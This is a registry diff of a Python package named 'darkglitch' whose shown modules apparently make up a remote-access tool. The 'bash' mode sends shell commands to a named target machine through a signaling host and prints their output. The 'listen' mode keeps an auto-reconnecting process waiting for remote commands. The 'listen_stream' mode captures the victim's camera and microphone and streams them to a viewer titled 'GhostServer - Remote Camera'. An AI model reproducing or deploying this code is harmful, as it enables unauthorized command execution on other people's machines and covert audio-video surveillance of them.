darkglitch 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- command/__init__.py +1 -0
- command/bash_connect.py +37 -0
- command/listen.py +83 -0
- command/listen_stream.py +93 -0
- command/online.py +29 -0
- command/stream_connect.py +180 -0
- command_injection/__init__.py +1 -0
- command_injection/injector.py +288 -0
- core/__init__.py +1 -0
- core/client.py +6 -0
- core/config.py +4 -0
- darkglitch-1.0.0.dist-info/METADATA +147 -0
- darkglitch-1.0.0.dist-info/RECORD +27 -0
- darkglitch-1.0.0.dist-info/WHEEL +5 -0
- darkglitch-1.0.0.dist-info/entry_points.txt +2 -0
- darkglitch-1.0.0.dist-info/licenses/LICENSE +21 -0
- darkglitch-1.0.0.dist-info/top_level.txt +8 -0
- darkglitch.py +93 -0
- helper.py +29 -0
- media/__init__.py +1 -0
- media/local_media.py +51 -0
- media/receiver_media.py +174 -0
- signaling/__init__.py +1 -0
- signaling/handlers.py +51 -0
- signaling/peer.py +206 -0
- signaling/signal.py +151 -0
- version.py +5 -0
command/__init__.py
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"""Command handlers for the darkglitch CLI."""
|
command/bash_connect.py
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
# command/bash_connect.py
|
|
2
|
+
import asyncio
|
|
3
|
+
|
|
4
|
+
from signaling.signal import SignalClient
|
|
5
|
+
from signaling.handlers import OnlineHandler
|
|
6
|
+
from core.config import HOST, ROOM
|
|
7
|
+
from core.client import client_id, username
|
|
8
|
+
|
|
9
|
+
from command_injection.injector import RemoteCommandHandler as SenderHandler
|
|
10
|
+
|
|
11
|
+
async def bash_mode(target, command):
|
|
12
|
+
print("[+] Bash Mode")
|
|
13
|
+
|
|
14
|
+
signal = SignalClient(ROOM, client_id, HOST, username=username)
|
|
15
|
+
await signal.connect()
|
|
16
|
+
|
|
17
|
+
sender = SenderHandler(signal)
|
|
18
|
+
|
|
19
|
+
try:
|
|
20
|
+
result = await sender.send_command(
|
|
21
|
+
target=target,
|
|
22
|
+
command=command,
|
|
23
|
+
wait_for_result=True,
|
|
24
|
+
timeout=15,
|
|
25
|
+
)
|
|
26
|
+
|
|
27
|
+
if result is None:
|
|
28
|
+
print("[-] No response received for remote command")
|
|
29
|
+
return
|
|
30
|
+
|
|
31
|
+
if result.get("status") == "success":
|
|
32
|
+
print(result.get("output", "Bash executed successfully"))
|
|
33
|
+
else:
|
|
34
|
+
print("[-] Bash Failed")
|
|
35
|
+
print("ERROR:", result.get("error", "Unknown error"))
|
|
36
|
+
finally:
|
|
37
|
+
await signal.close()
|
command/listen.py
ADDED
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
# command/listen.py
|
|
2
|
+
|
|
3
|
+
import asyncio
|
|
4
|
+
|
|
5
|
+
from core.client import client_id, username
|
|
6
|
+
from core.config import ROOM, HOST
|
|
7
|
+
|
|
8
|
+
from signaling.signal import SignalClient
|
|
9
|
+
from signaling.peer import Peer
|
|
10
|
+
from media.local_media import LocalMedia
|
|
11
|
+
|
|
12
|
+
from command_injection.injector import RemoteCommandHandler as ReceiverHandler
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
async def listen_mode():
|
|
16
|
+
print("[+] Listen mode")
|
|
17
|
+
|
|
18
|
+
retry_delay = 10
|
|
19
|
+
|
|
20
|
+
while True:
|
|
21
|
+
signal = None
|
|
22
|
+
media = None
|
|
23
|
+
peer = None
|
|
24
|
+
|
|
25
|
+
try:
|
|
26
|
+
# ----------------------------------
|
|
27
|
+
# Signaling
|
|
28
|
+
# ----------------------------------
|
|
29
|
+
signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
|
|
30
|
+
|
|
31
|
+
await signal.connect()
|
|
32
|
+
|
|
33
|
+
# ----------------------------------
|
|
34
|
+
# Command Injection
|
|
35
|
+
# ----------------------------------
|
|
36
|
+
ReceiverHandler(signal)
|
|
37
|
+
|
|
38
|
+
print(
|
|
39
|
+
f"[+] Listening as {username} "
|
|
40
|
+
f"({client_id})"
|
|
41
|
+
)
|
|
42
|
+
|
|
43
|
+
print("[+] Waiting for incoming offers...")
|
|
44
|
+
|
|
45
|
+
# ----------------------------------
|
|
46
|
+
# Keep process alive
|
|
47
|
+
# ----------------------------------
|
|
48
|
+
while True:
|
|
49
|
+
await asyncio.sleep(1)
|
|
50
|
+
|
|
51
|
+
except asyncio.CancelledError:
|
|
52
|
+
raise
|
|
53
|
+
|
|
54
|
+
except Exception as exc:
|
|
55
|
+
print(f"[!] Error: {exc}")
|
|
56
|
+
|
|
57
|
+
finally:
|
|
58
|
+
print("[+] Cleaning up...")
|
|
59
|
+
|
|
60
|
+
try:
|
|
61
|
+
if peer is not None:
|
|
62
|
+
await peer.close()
|
|
63
|
+
except Exception:
|
|
64
|
+
pass
|
|
65
|
+
|
|
66
|
+
try:
|
|
67
|
+
if media:
|
|
68
|
+
await media.stop()
|
|
69
|
+
except Exception:
|
|
70
|
+
pass
|
|
71
|
+
|
|
72
|
+
try:
|
|
73
|
+
if signal:
|
|
74
|
+
await signal.close()
|
|
75
|
+
except Exception:
|
|
76
|
+
pass
|
|
77
|
+
|
|
78
|
+
print(
|
|
79
|
+
f"[+] Reconnecting in "
|
|
80
|
+
f"{retry_delay} seconds..."
|
|
81
|
+
)
|
|
82
|
+
|
|
83
|
+
await asyncio.sleep(retry_delay)
|
command/listen_stream.py
ADDED
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
import asyncio
|
|
2
|
+
|
|
3
|
+
from core.client import client_id, username
|
|
4
|
+
from core.config import ROOM, HOST
|
|
5
|
+
|
|
6
|
+
from signaling.signal import SignalClient
|
|
7
|
+
from signaling.peer import Peer
|
|
8
|
+
from media.local_media import LocalMedia
|
|
9
|
+
|
|
10
|
+
from command_injection.injector import RemoteCommandHandler as ReceiverHandler
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
async def listen_stream_mode():
|
|
14
|
+
print("[+] Listen mode")
|
|
15
|
+
|
|
16
|
+
retry_delay = 10
|
|
17
|
+
|
|
18
|
+
while True:
|
|
19
|
+
signal = None
|
|
20
|
+
media = None
|
|
21
|
+
peer = None
|
|
22
|
+
|
|
23
|
+
try:
|
|
24
|
+
# ----------------------------------
|
|
25
|
+
# Signaling
|
|
26
|
+
# ----------------------------------
|
|
27
|
+
signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
|
|
28
|
+
|
|
29
|
+
await signal.connect()
|
|
30
|
+
|
|
31
|
+
# ----------------------------------
|
|
32
|
+
# Camera / Microphone
|
|
33
|
+
# ----------------------------------
|
|
34
|
+
media = LocalMedia()
|
|
35
|
+
await media.start()
|
|
36
|
+
|
|
37
|
+
print("[+] Video Track:", media.get_video_track())
|
|
38
|
+
print("[+] Audio Track:", media.get_audio_track())
|
|
39
|
+
|
|
40
|
+
# ----------------------------------
|
|
41
|
+
# WebRTC Peer
|
|
42
|
+
# ----------------------------------
|
|
43
|
+
peer = Peer(signal)
|
|
44
|
+
|
|
45
|
+
# Send local camera/mic when a call is established
|
|
46
|
+
peer.add_media(media)
|
|
47
|
+
|
|
48
|
+
print(
|
|
49
|
+
f"[+] Listening as {username} "
|
|
50
|
+
f"({client_id})"
|
|
51
|
+
)
|
|
52
|
+
|
|
53
|
+
print("[+] Waiting for incoming offers...")
|
|
54
|
+
|
|
55
|
+
# ----------------------------------
|
|
56
|
+
# Keep process alive
|
|
57
|
+
# ----------------------------------
|
|
58
|
+
while True:
|
|
59
|
+
await asyncio.sleep(1)
|
|
60
|
+
|
|
61
|
+
except asyncio.CancelledError:
|
|
62
|
+
raise
|
|
63
|
+
|
|
64
|
+
except Exception as exc:
|
|
65
|
+
print(f"[!] Error: {exc}")
|
|
66
|
+
|
|
67
|
+
finally:
|
|
68
|
+
print("[+] Cleaning up...")
|
|
69
|
+
|
|
70
|
+
try:
|
|
71
|
+
if peer is not None:
|
|
72
|
+
await peer.close()
|
|
73
|
+
except Exception:
|
|
74
|
+
pass
|
|
75
|
+
|
|
76
|
+
try:
|
|
77
|
+
if media:
|
|
78
|
+
await media.stop()
|
|
79
|
+
except Exception:
|
|
80
|
+
pass
|
|
81
|
+
|
|
82
|
+
try:
|
|
83
|
+
if signal:
|
|
84
|
+
await signal.close()
|
|
85
|
+
except Exception:
|
|
86
|
+
pass
|
|
87
|
+
|
|
88
|
+
print(
|
|
89
|
+
f"[+] Reconnecting in "
|
|
90
|
+
f"{retry_delay} seconds..."
|
|
91
|
+
)
|
|
92
|
+
|
|
93
|
+
await asyncio.sleep(retry_delay)
|
command/online.py
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
# command/online.py
|
|
2
|
+
import asyncio
|
|
3
|
+
|
|
4
|
+
from signaling.signal import SignalClient
|
|
5
|
+
from signaling.handlers import OnlineHandler
|
|
6
|
+
from core.config import HOST, ROOM
|
|
7
|
+
from core.client import client_id, username
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
async def online_list_mode():
|
|
11
|
+
print("[+] Online list mode")
|
|
12
|
+
|
|
13
|
+
signal = SignalClient(ROOM, client_id, HOST, username=username)
|
|
14
|
+
|
|
15
|
+
await signal.connect()
|
|
16
|
+
|
|
17
|
+
signal.add_handler(OnlineHandler(client_id))
|
|
18
|
+
|
|
19
|
+
await signal.send({
|
|
20
|
+
"type": "get_online"
|
|
21
|
+
})
|
|
22
|
+
|
|
23
|
+
try:
|
|
24
|
+
while True:
|
|
25
|
+
await asyncio.sleep(1)
|
|
26
|
+
except asyncio.CancelledError:
|
|
27
|
+
pass
|
|
28
|
+
finally:
|
|
29
|
+
await signal.close()
|
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
# command/stream_connect.py
|
|
2
|
+
import os
|
|
3
|
+
import asyncio
|
|
4
|
+
|
|
5
|
+
if os.environ.get("XDG_SESSION_TYPE", "").lower() == "wayland":
|
|
6
|
+
# OpenCV installed in this venv only has the Qt xcb plugin,
|
|
7
|
+
# so use X11 via XWayland instead of forcing native Wayland.
|
|
8
|
+
os.environ["QT_QPA_PLATFORM"] = "xcb"
|
|
9
|
+
|
|
10
|
+
import cv2
|
|
11
|
+
|
|
12
|
+
from core.client import client_id, username
|
|
13
|
+
from core.config import ROOM, HOST
|
|
14
|
+
|
|
15
|
+
from signaling.peer import Peer
|
|
16
|
+
from signaling.signal import SignalClient
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
async def show_video(track, stop_event: asyncio.Event):
|
|
24
|
+
wayland = os.environ.get("XDG_SESSION_TYPE", "").lower() == "wayland"
|
|
25
|
+
use_tk = False
|
|
26
|
+
tk = None
|
|
27
|
+
Image = None
|
|
28
|
+
ImageTk = None
|
|
29
|
+
|
|
30
|
+
if wayland:
|
|
31
|
+
try:
|
|
32
|
+
import tkinter as tk
|
|
33
|
+
from PIL import Image, ImageTk
|
|
34
|
+
use_tk = True
|
|
35
|
+
except Exception as exc:
|
|
36
|
+
print(f"[!] Tkinter/Pillow not available for display fallback: {exc}")
|
|
37
|
+
use_tk = False
|
|
38
|
+
|
|
39
|
+
window_name = "GhostServer - Remote Camera"
|
|
40
|
+
|
|
41
|
+
if use_tk:
|
|
42
|
+
root = tk.Tk()
|
|
43
|
+
root.title(window_name)
|
|
44
|
+
label = tk.Label(root)
|
|
45
|
+
label.pack()
|
|
46
|
+
root.update()
|
|
47
|
+
print("[+] Tkinter display initialized")
|
|
48
|
+
else:
|
|
49
|
+
cv2.startWindowThread()
|
|
50
|
+
cv2.namedWindow(window_name, cv2.WINDOW_NORMAL)
|
|
51
|
+
cv2.resizeWindow(window_name, 640, 480)
|
|
52
|
+
cv2.moveWindow(window_name, 100, 100)
|
|
53
|
+
print("[+] OpenCV display initialized")
|
|
54
|
+
|
|
55
|
+
frame_count = 0
|
|
56
|
+
first_frame_logged = False
|
|
57
|
+
try:
|
|
58
|
+
while True:
|
|
59
|
+
try:
|
|
60
|
+
frame = await track.recv()
|
|
61
|
+
except Exception as exc:
|
|
62
|
+
print(f"[!] Failed to receive video frame: {exc}")
|
|
63
|
+
import traceback
|
|
64
|
+
print(traceback.format_exc())
|
|
65
|
+
await asyncio.sleep(0.1)
|
|
66
|
+
continue
|
|
67
|
+
|
|
68
|
+
frame_count += 1
|
|
69
|
+
if not first_frame_logged:
|
|
70
|
+
print(
|
|
71
|
+
f"[DEBUG] frame #{frame_count} type={type(frame).__name__} "
|
|
72
|
+
f"pts={getattr(frame, 'pts', None)} dts={getattr(frame, 'dts', None)}"
|
|
73
|
+
)
|
|
74
|
+
|
|
75
|
+
try:
|
|
76
|
+
image = frame.to_ndarray(format="bgr24")
|
|
77
|
+
if not first_frame_logged:
|
|
78
|
+
print(f"[DEBUG] ndarray shape={image.shape} dtype={image.dtype}")
|
|
79
|
+
except Exception as exc:
|
|
80
|
+
print(f"[!] Failed to convert VideoFrame to ndarray: {exc}")
|
|
81
|
+
import traceback
|
|
82
|
+
print(traceback.format_exc())
|
|
83
|
+
continue
|
|
84
|
+
|
|
85
|
+
if use_tk:
|
|
86
|
+
try:
|
|
87
|
+
rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
|
|
88
|
+
img = Image.fromarray(rgb)
|
|
89
|
+
photo = ImageTk.PhotoImage(image=img)
|
|
90
|
+
if not first_frame_logged:
|
|
91
|
+
print(
|
|
92
|
+
f"[DEBUG] PIL image type={type(img).__name__} "
|
|
93
|
+
f"PhotoImage type={type(photo).__name__}"
|
|
94
|
+
)
|
|
95
|
+
|
|
96
|
+
label.configure(image=photo)
|
|
97
|
+
label.image = photo
|
|
98
|
+
root.update_idletasks()
|
|
99
|
+
root.update()
|
|
100
|
+
if frame_count == 1:
|
|
101
|
+
print("[+] First Tkinter frame shown")
|
|
102
|
+
except Exception as exc:
|
|
103
|
+
print(f"[!] Tkinter display error on frame #{frame_count}: {exc}")
|
|
104
|
+
import traceback
|
|
105
|
+
print(traceback.format_exc())
|
|
106
|
+
continue
|
|
107
|
+
else:
|
|
108
|
+
try:
|
|
109
|
+
cv2.imshow(window_name, image)
|
|
110
|
+
if frame_count == 1:
|
|
111
|
+
visible = cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE)
|
|
112
|
+
print(f"[+] First OpenCV frame shown, window visible={visible}")
|
|
113
|
+
key = cv2.waitKey(1)
|
|
114
|
+
if key == 27:
|
|
115
|
+
stop_event.set()
|
|
116
|
+
break
|
|
117
|
+
except Exception as exc:
|
|
118
|
+
print(f"[!] OpenCV display error on frame #{frame_count}: {exc}")
|
|
119
|
+
import traceback
|
|
120
|
+
print(traceback.format_exc())
|
|
121
|
+
continue
|
|
122
|
+
|
|
123
|
+
if not first_frame_logged:
|
|
124
|
+
first_frame_logged = True
|
|
125
|
+
|
|
126
|
+
if stop_event.is_set():
|
|
127
|
+
break
|
|
128
|
+
|
|
129
|
+
except Exception as exc:
|
|
130
|
+
print(f"[!] Video display loop fatal error: {exc}")
|
|
131
|
+
import traceback
|
|
132
|
+
print(traceback.format_exc())
|
|
133
|
+
finally:
|
|
134
|
+
if use_tk:
|
|
135
|
+
try:
|
|
136
|
+
root.destroy()
|
|
137
|
+
except Exception:
|
|
138
|
+
pass
|
|
139
|
+
print("[+] Tkinter window closed")
|
|
140
|
+
else:
|
|
141
|
+
cv2.destroyAllWindows()
|
|
142
|
+
print("[+] OpenCV window closed")
|
|
143
|
+
|
|
144
|
+
|
|
145
|
+
async def stream_mode(target):
|
|
146
|
+
print("[+] Connecting to stream...")
|
|
147
|
+
|
|
148
|
+
signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username)
|
|
149
|
+
await signal.connect()
|
|
150
|
+
|
|
151
|
+
peer = Peer(signal)
|
|
152
|
+
stop_event = asyncio.Event()
|
|
153
|
+
|
|
154
|
+
# Request remote video/audio from the listener.
|
|
155
|
+
peer.pc.addTransceiver("video", direction="recvonly")
|
|
156
|
+
peer.pc.addTransceiver("audio", direction="recvonly")
|
|
157
|
+
|
|
158
|
+
async def track_handler(track):
|
|
159
|
+
print("[+] Incoming remote track, scheduling display task")
|
|
160
|
+
await show_video(track, stop_event)
|
|
161
|
+
|
|
162
|
+
peer.on_track = track_handler
|
|
163
|
+
|
|
164
|
+
try:
|
|
165
|
+
await peer.create_offer(target)
|
|
166
|
+
except Exception as exc:
|
|
167
|
+
print(f"[!] Failed to create offer: {exc}")
|
|
168
|
+
await peer.close()
|
|
169
|
+
await signal.close()
|
|
170
|
+
return
|
|
171
|
+
|
|
172
|
+
try:
|
|
173
|
+
await stop_event.wait()
|
|
174
|
+
except asyncio.CancelledError:
|
|
175
|
+
print("Shutdown requested")
|
|
176
|
+
raise
|
|
177
|
+
finally:
|
|
178
|
+
print("Closing peer and signaling connection")
|
|
179
|
+
await peer.close()
|
|
180
|
+
await signal.close()
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"""Helpers for remote command injection."""
|